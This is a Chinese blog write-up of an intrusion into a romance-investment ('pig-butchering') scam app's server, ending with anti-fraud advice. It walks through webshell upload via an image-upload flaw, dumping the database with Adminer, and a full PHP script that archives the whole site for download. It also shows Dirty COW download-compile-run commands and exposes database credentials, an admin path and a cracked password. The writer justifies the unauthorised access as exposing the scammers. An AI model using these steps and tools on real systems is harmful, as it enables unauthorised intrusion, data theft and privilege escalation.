|
原文链接:记一次APP的渗透之旅
所谓“杀猪盘”,是指诈骗分子利用网络交友通常是异性交友,诱导受害人下载诈骗APP并在上面进行各种“投资”,如博彩、股票、期货甚至虚拟货币的网络诈骗。今年某月某日小白就遭遇了这种骗局,他先是被骗子通过QQ添加并下载了一个名为”心动“的APP,在“心动“APP上结识了位名为“xx老师”的美女,小白被美色迷了眼打算相约这名网友,但是美女则借口让他下载另一个名为午夜乐园的APP进行投资,果不其然小白被成功骗取10余万。
0x01 APP测试准备根据小白的描述,我们关注到以下几点信息,分别是 QQ、“心动”APP以及“午夜乐园”APP,但是小白因不堪被骗将骗子QQ删除了。所以我们无法从QQ号这点进行入手,但是这两个APP的APK包倒是存在,于是开始渗透分析。
安装APP使用夜神模拟器安装这两个APP,为了方便起见就使用安卓5.0版本,否则无法抓取到 https 数据包
小知识:从 Android 7.0 开始,默认的网络安全性配置修改,默认不再信任用户添加的 CA 证书,也就不再信任抓包工具的证书
 因为“午夜乐园”APP需要邀请码才能注册,所以我们先安装“心动”APP
设置抓包在 BurpSuite 中设置监听地址以及监听端口,其中地址为内网的IP地址
 
设置网络中的 HTTP 代理为 BurpSuite 中的代理地址和端口
 
访问百度,在 Burp Suite 中成功抓取到数据包 现在针对 http 协议的数据包都可以抓取到了
安装证书接下来为了抓取到 https 的数据包,我们需要为其安装 CA 证书 访问https://burp点击CA开始下载证书,下载完成后在设置中找到安全 选择从SD卡安装 选择之前下载的证书并为证书命名
 
在用户凭据中已存在证书
 
访问https://www.baidu.com
 
在 Burp Suite 中成功抓取到 https 数据包
0x02 上线shell初探上传漏洞在APP中注册一个测试账号
 
发现在发布动态处存在文件上传


使用 Burp Suite 截取数据包,测试后发现目标站点只返回0或1
 
上传后在朋友圈界面发现该功能正常,那么对应的图片路径在哪呢?
 
通过抓包发现该图片的具体地址 修改数据包将其文件名后缀修改为php时则无法上传,可能存在防护机制
 
文件上传漏洞获取webshell尝试了几种绕过方式无果后,在朋友圈背景图片发现文件上传点,将冰蝎上传
 
幸运的是目标直接返回了木马地址,使用冰蝎连接目标
 
至此 webshell 成功上线,但可惜的是这是 docker 环境。同时为了维持对目标站点的控制,继续上传了一个哥斯拉马

0x03 信息收集查看当前环境查看当前用户为普通的 www 用户,能够执行一些简单的命令
 
查看文件管理,发现网站下存在 thinkphp 框架,开始寻找配置文件
 
数据库登录在配置文件中发现数据库连接文件
- return [
- // 数据库类型
- 'type' => Env::get('database.type', 'mysql'),
- // 服务器地址
- 'hostname' => Env::get('database.hostname', '192.168.0.59'),
- // 数据库名
- 'database' => Env::get('database.database', 'netchat'),
- // 用户名
- 'username' => Env::get('database.username', 'root'),
- // 密码
- 'password' => Env::get('database.password', 'MysqlNetchatPWD#'),
- // 端口
- 'hostport' => Env::get('database.hostport', '3305'),
- ];
复制代码

由于无法通过冰蝎无法连接数据库,我们上传 adminer 连接数据库,将服务器地址设置为192.168.0.59:3305,输入账号和密码
 
在 adminer 中选择数据库导出,将当前数据库直接打包下载
 
后台地址与账号密码
在数据库中还有些意外收获,里面包含了一些管理员的账号密码
 
经过解密后发现 admin666 密码为123456
 
查看 admin_log 表后发现登录地址为https://xx.xx.xx.xx/adim888/index/login

访问后为如下界面,我们只需要输入账号密码与谷歌验证码即可登录,为了不打草惊蛇未直接登录后台。
 
打包网站接下来为了方便分析,使用如下脚本打包整个网站进行下载
- <?php
-
- error_reporting(0);
-
- class PHPZip{
- var $dirInfo = array("0","0");
- var $datasec = array();
- var $ctrl_dir = array();
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
- var $old_offset = 0;
-
- function createZip($dir, $zipfilename){
- if (@function_exists('gzcompress')){
- @set_time_limit("0");
- if (is_array($dir)){
- $fd = fopen ($dir, "r");
- $fileValue = fread ($fd, filesize ($filename));
- fclose ($fd);
- if (is_array($dir)) $filename = basename($dir);
- $this -> addFile($fileValue, "$filename");
- }else{
- $this->dirTree($dir,$dir);
- }
-
- $out = $this -> filezip();
- $fp = fopen($zipfilename, "w");
- fwrite($fp, $out, strlen($out));
- fclose($fp);
- $filesize = filesize($zipfilename);
-
- if ($filesize < 104857600) {
- echo "create zip success!";
- } else {
- echo "create zip error!";
- } }
- }
-
- //get dir tree..
- function dirTree($directory,$rootDir){
- $fileDir = $rootDir;
- $myDir = dir($directory);
- while($file=$myDir->read()){
- if(is_dir("$directory/$file") and $file!="." and $file!=".."){
- $this->dirInfo[0]++;
- $rootDir ="$fileDir$file/";
- $this -> addFile('', "$rootDir");
-
- //go on n's folders
- $this->dirTree("$directory/$file",$rootDir);
- }else{
- if($file!="." and $file!=".."){
- $this->dirInfo[1]++;
- $fileValue = file_get_contents("$directory/$file");
- $this -> addFile($fileValue, "$fileDir$file");
- }
- }
- }
- $myDir->close();
- }
-
- function unix2DosTime($unixtime = 0) {
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
-
- if ($timearray['year'] < 1980) {
- $timearray['year'] = 1980;
- $timearray['mon'] = 1;
- $timearray['mday'] = 1;
- $timearray['hours'] = 0;
- $timearray['minutes'] = 0;
- $timearray['seconds'] = 0;
- } // end if
-
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
- }
-
- function addFile($data, $name, $time = 0){
- $name = str_replace('\\', '/', $name);
-
- $dtime = dechex($this->unix2DosTime($time));
- $hexdtime = '\x' . $dtime[6] . $dtime[7]
- . '\x' . $dtime[4] . $dtime[5]
- . '\x' . $dtime[2] . $dtime[3]
- . '\x' . $dtime[0] . $dtime[1];
- eval('$hexdtime = "' . $hexdtime . '";');
-
- $fr = "\x50\x4b\x03\x04";
- $fr .= "\x14\x00"; // ver needed to extract
- $fr .= "\x00\x00"; // gen purpose bit flag
- $fr .= "\x08\x00"; // compression method
- $fr .= $hexdtime; // last mod time and date
-
- // "local file header" segment
- $unc_len = strlen($data);
- $crc = crc32($data);
- $zdata = gzcompress($data);
- $c_len = strlen($zdata);
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug
- $fr .= pack('V', $crc); // crc32
- $fr .= pack('V', $c_len); // compressed filesize
- $fr .= pack('V', $unc_len); // uncompressed filesize
- $fr .= pack('v', strlen($name)); // length of filename
- $fr .= pack('v', 0); // extra field length
- $fr .= $name;
-
- // "file data" segment
- $fr .= $zdata;
-
- // "data descriptor" segment (optional but necessary if archive is not
- // served as file)
- $fr .= pack('V', $crc); // crc32
- $fr .= pack('V', $c_len); // compressed filesize
- $fr .= pack('V', $unc_len); // uncompressed filesize
-
- // add this entry to array
- $this -> datasec[] = $fr;
- $new_offset = strlen(implode('', $this->datasec));
-
- // now add to central directory record
- $cdrec = "\x50\x4b\x01\x02";
- $cdrec .= "\x00\x00"; // version made by
- $cdrec .= "\x14\x00"; // version needed to extract
- $cdrec .= "\x00\x00"; // gen purpose bit flag
- $cdrec .= "\x08\x00"; // compression method
- $cdrec .= $hexdtime; // last mod time & date
- $cdrec .= pack('V', $crc); // crc32
- $cdrec .= pack('V', $c_len); // compressed filesize
- $cdrec .= pack('V', $unc_len); // uncompressed filesize
- $cdrec .= pack('v', strlen($name) ); // length of filename
- $cdrec .= pack('v', 0 ); // extra field length
- $cdrec .= pack('v', 0 ); // file comment length
- $cdrec .= pack('v', 0 ); // disk number start
- $cdrec .= pack('v', 0 ); // internal file attributes
- $cdrec .= pack('V', 32 ); // external file attributes - 'archive' bit set
-
- $cdrec .= pack('V', $this -> old_offset ); // relative offset of local header
- $this -> old_offset = $new_offset;
-
- $cdrec .= $name;
-
- // optional extra field, file comment goes here
- // save to central directory
- $this -> ctrl_dir[] = $cdrec;
- }
-
- function filezip(){
- $data = implode('', $this -> datasec);
- $ctrldir = implode('', $this -> ctrl_dir);
-
- return
- $data .
- $ctrldir .
- $this -> eof_ctrl_dir .
- pack('v', sizeof($this -> ctrl_dir)) . // total # of entries "on this disk"
- pack('v', sizeof($this -> ctrl_dir)) . // total # of entries overall
- pack('V', strlen($ctrldir)) . // size of central dir
- pack('V', strlen($data)) . // offset to start of central dir
- "\x00\x00"; // .zip file comment length
- }
- }
-
- $zip = new PHPZip();
- $path = $_GET['path'];
- $filename = $_GET['filename'];
- if (isset($path)&&isset($filename)) {
- $zip -> createZip($path, $filename);
- } else {
- echo "please input correct path and filename, like <a href=#>http://example.com?path=/home&filename=home.zip</a>";
- }
-
- ?>
复制代码

IP地址查询通过简单的sql语句对 admin 登录日志进行查询
select distinct ip from yl_admin_log limit 50
 
发现该站点的登录IP都是国外的IP,猜测网站管理员都是通过代理或本身就在国外访问的后台
 
而查询 yl_core_ip 表中发现了一个IP
 
查询微步后,该IP已经被打上了恶意地址标签
 
0x04 权限提升由于当前权限比较低,我们也需要拿到 docker 环境下的 root 权限,但是我没有提权成功,自然也无法利用 docker 逃逸来跳到其真实环境下。这里演示下我使用脏牛提权的失败记录吧。
系统信息收集

 
当前系统为 Debian GNU/Linux 10
漏洞查询上传linuxenum和linux-exploit-suggestor,赋予执行权限并执行
- chmod 777 linuxenum.sh
- chmod 777 linux-exploit-suggestor.sh
复制代码

 
 
脏牛提权通过 linux-exploit-suggestor 返回的结果,其中存在脏牛漏洞
- wget https://www.exploit-db.com/download/40616 ##这里我直接上传了
- mv 40616 cowroot.c
- ## 正式从这开始
- gcc cowroot.c -o cowroot -pthread
- chmod +x cowroot
- ./cowroot
复制代码

失败过程就不截图了
0x05 受骗分析及警示登录客服查看聊天记录在数据库中还有相关客服用户的账号密码,直接解码后面的 base64 编码就可以获取到明文
 
登录几个客服用户进行查看
 
杀猪盘流程这里我们也根据小白的注册时间找到了它的账号,为q123456x
 
通过注册IP确认该用户为受害人账号。但是尝试登录后发现该用户已经被锁定,在数据库中发现该用户的islogin为0,修改为1后还是无法登录,通过查看管理员的操作记录,发现其一直在封锁账号。
 
再根据几个客服的聊天记录,我们总结了”杀猪盘“流程
- 1、招揽有“交友”目的的年轻人
- 2、通过客服为其提供“服务”
- 3、安排”漂亮姐姐“骗取年轻人投资
- 4、年轻人欲望上头开始投资
- 5、最终被骗人财两空
复制代码

警示
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="162" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%221%E3%80%81%E8%AD%A6%E6%83%95%E5%9C%A8%E6%9C%8B%E5%8F%8B%E5%9C%88%E5%92%8C%E7%A7%81%E8%81%8A%E4%B8%AD%E5%91%88%E7%8E%B0%E7%9A%84%E5%AE%8C%E7%BE%8E%E5%AF%B9%E8%B1%A1%EF%BC%8C%E5%AE%8C%E7%BE%8E%E4%BA%BA%E8%AE%BE%E5%BE%80%E5%BE%80%E5%B0%B1%E6%98%AF%E8%AF%B1%E9%A5%B5%5Cn2%E3%80%81%E5%88%87%E5%8B%BF%E5%92%8C%E9%99%8C%E7%94%9F%E4%BA%BA%E8%B0%88%E9%92%B1%E3%80%81%E4%B8%80%E8%B5%B7%E6%8A%95%E8%B5%84%EF%BC%8C%E8%AE%B0%E4%BD%8F%EF%BC%8C%E7%BD%91%E4%B8%8A%E2%80%9C%E5%AF%B9%E8%B1%A1%E2%80%9D%E4%B9%9F%E6%98%AF%E9%99%8C%E7%94%9F%E4%BA%BA%5Cn3%E3%80%81%E5%88%87%E5%8B%BF%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85%E7%BD%91%E4%B8%8A%E5%90%84%E7%B1%BB%E6%8A%95%E8%B5%84%E5%8D%9A%E5%BD%A9%C2%A0APP%E9%93%BE%E6%8E%A5%EF%BC%8C%E4%B8%8D%E8%A6%81%E5%9C%A8%E6%9C%AA%E9%AA%8C%E8%AF%81%E7%BD%91%E7%AB%99%E6%8A%95%E8%B5%84%5Cn4%E3%80%81%E4%B8%8D%E5%90%91%E6%9C%AA%E9%AA%8C%E8%AF%81%E7%9A%84%E9%99%8C%E7%94%9F%E8%B4%A6%E6%88%B7%E8%BD%AC%E8%B4%A6%E6%B1%87%E6%AC%BE%5Cn5%E3%80%81%E4%B8%8D%E8%A6%81%E5%8F%82%E4%B8%8E%E7%BD%91%E4%B8%8A%E5%8D%9A%E5%BD%A9%EF%BC%8C%E6%B6%89%E5%AB%8C%E8%BF%9D%E6%B3%95%E3%80%82%5Cn6%E3%80%81%E4%B8%8D%E8%A6%81%E8%A2%AB%E6%AC%B2%E6%9C%9B%E5%86%B2%E6%98%8F%E4%BA%86%E5%A4%B4%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">1、警惕在朋友圈和私聊中呈现的完美对象,完美人设往往就是诱饵
- 2、切勿和陌生人谈钱、一起投资,记住,网上“对象”也是陌生人
- 3、切勿下载安装网上各类投资博彩 APP链接,不要在未验证网站投资
- 4、不向未验证的陌生账户转账汇款
- 5、不要参与网上博彩,涉嫌违法。
- 6、不要被欲望冲昏了头</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <span data-cke-copybin-end="1"></span>
复制代码
|
|